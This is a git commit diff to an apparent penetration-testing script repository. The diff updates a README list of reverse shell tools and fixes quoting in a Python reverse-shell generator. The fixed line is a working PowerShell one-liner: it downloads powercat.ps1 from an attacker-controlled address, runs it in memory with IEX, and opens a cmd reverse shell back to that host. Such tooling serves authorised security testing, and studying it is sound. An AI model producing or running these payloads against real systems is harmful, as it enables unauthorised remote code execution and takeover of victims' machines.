powershell fixes
This commit is contained in:
parent
e3ad4d3e53
commit
5a41f44b72
@ -21,6 +21,8 @@ This repository contains self-made and common scripts for information gathering,
|
|||||||
- genRevShell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
- genRevShell.py: Generates a reverse shell command (e.g. netcat, python, ...)
|
||||||
- [php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell)
|
- [php-reverse-shell.php](https://github.com/pentestmonkey/php-reverse-shell)
|
||||||
- [p0wny-shell.php](https://github.com/flozz/p0wny-shell)
|
- [p0wny-shell.php](https://github.com/flozz/p0wny-shell)
|
||||||
|
- [powercat.ps1][https://github.com/besimorhino/powercat]
|
||||||
|
|
||||||
### Miscellaneous
|
### Miscellaneous
|
||||||
- upload_file.py: Starts a local tcp server, for netcat usage
|
- upload_file.py: Starts a local tcp server, for netcat usage
|
||||||
|
- [padBuster.pl](https://github.com/AonCyberLabs/PadBuster)
|
||||||
|
@ -34,7 +34,7 @@ def generatePayload(type, local_address, port):
|
|||||||
elif type == "xterm":
|
elif type == "xterm":
|
||||||
return "xterm -display %s:1" % (local_address)
|
return "xterm -display %s:1" % (local_address)
|
||||||
elif type == "powercat" or type == "powershell":
|
elif type == "powercat" or type == "powershell":
|
||||||
return "powershell -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\")" % (local_address, local_address, port)
|
return "powershell.exe -c \"IEX(New-Object System.Net.WebClient).DownloadString('http://%s/powercat.ps1');powercat -c %s -p %d -e cmd\"" % (local_address, local_address, port)
|
||||||
|
|
||||||
if __name__ == "__main__":
|
if __name__ == "__main__":
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user